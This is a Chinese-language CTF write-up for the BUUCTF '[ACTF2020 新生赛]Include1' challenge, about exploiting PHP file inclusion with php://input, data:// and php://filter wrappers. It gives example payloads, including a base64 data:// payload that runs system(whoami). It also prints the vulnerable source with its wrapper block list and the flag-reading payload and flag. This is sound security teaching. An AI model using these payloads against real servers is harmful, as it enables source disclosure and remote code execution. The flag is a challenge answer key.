[ACTF2020 新生赛]Include1

题目:[ACTF2020 新生赛]Include1

题目来源:buuctf

过程分析:

1、首先看到一个tips,我们打开看看

然后从题目我们知道这个是一个文件包含题,对文件进行php伪协议检测


伪协议

php://input:用来接收POST数据。我们能够通过input把我们的语句输入上去然后执行。
条件:
    php <5.0 ,allow_url_include=Off 情况下也可以用
    php > 5.0,只有在allow_url_fopen=On 时才能使用
例:
    http://localhost/include/file.php?file=php://input     //URL
    <?php fputs(fopen("a.php","w"),"<?php phpinfo();?>")?>  //POST,创建一个文件a.php;并写入phpinfo
data://:将原本的include的文件流重定向到了用户可控制的输入流中
条件:
    allow_url_include=On
    php > 5.2
例:
    http://localhost/file.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKHdob2FtaSk/Pg==      //base64加密<?php system(whoami);?>;直接执行命令
    http://localhost/image.php?imagedata=data://image/jpeg;base64,..... // 后面加上图片木马;图片命令执行
php://filter:这个语句用来查看源码。直接包含php文件时会被解析,不能看到源码,所以用filter来读取,不过要先base64加密传输过
例:
    http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=C:\oneword    //可以跟绝对路径也可以跟相对路径
    http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=[http|https|ftp]://www.bbb.com/2.txt   //远程路径
防御:
    尽量使用安全版本的php
    做好php的安全配置
    对相应目录做相应权限设置

使用input伪协议会被检车会被过滤,我们换一种filter读取源代码

?file=php://filter/read=convert.base64-encode/resource=index.php

 

用工具将伪代码解码就得到文件源码了

<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
	exit('hacker!');
}
if($file){
	include($file);
}else{
	echo '<a href="?file=flag.php">tips</a>';
}
?>

input伪协议是被过滤了,我们再用filter伪协议去读取flag.php文件

?file=php://filter?read=convert.base64-encode/resource=flag.php

 再用base64工具解码就得到flag了

flag{eba8550a-7871-47ae-b101-232fdb610777}

  • 9
    点赞
  • 33
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

won1

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值